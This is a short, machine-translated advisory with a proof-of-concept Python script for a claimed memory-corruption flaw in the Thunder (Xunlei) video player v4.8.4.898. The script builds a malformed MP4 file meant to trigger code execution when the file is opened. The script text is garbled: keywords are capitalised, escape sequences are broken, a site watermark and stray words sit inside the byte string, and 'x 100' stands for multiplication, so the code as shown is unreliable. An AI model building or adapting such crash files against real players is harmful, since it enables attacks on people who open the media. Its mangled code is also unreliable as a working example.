Thunder to see the player v4.8.4.898 Memory Corruption Defects

Thunder looks at the Memory Corruption defect in the player when processing MP4 files. The successful exploitation can execute arbitrary code with the program running permission.
 
#! /Usr/bin/env python
 
 
 
Filepath = "nansec.mp4"
 
F = open (filepath, "wb ")
 
File = (www.2cto.com
 
"\ X00 \ x00 \ x00 \ x00 \ x66 \ x74 \ x79 \ x69 \ x73 \ x6F \ x6D \ x00 \ x00 \ x02 \ x00"
 
"\ X69 \ x73 \ x6F \ x6D \ x69 \ x73 \ x6F \ x32 \ x6D \ cross city \ x34 \ x31 \ x00 \ x00 \ x00 \ x08"
 
"\ X66 \ x72 \ x65 \ x65 \ x00 \ x9B \ xB6 \ x92 \ x6D \ x64 \ x61 \ x74 \ x00 \ x00 \ x01 \ xB3"
 
"\ X00 \ x10 \ x07 \ x00 \ x00 \ x01 \ xB6 \ x10 \ x03 \ x03 \ xB0 \ x00 \ x00 \ x00 \ x00 \ x00 ")
 
 
 
File + = "\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00" x 100
 
 
 
F. write (file)
 
F. close ()
 
Print "Done. \ nOpen nansec.mp4"
Solution:

The official team has fixed the problem and will immediately perform an emergency patch upgrade across the network.


Author insight-labs @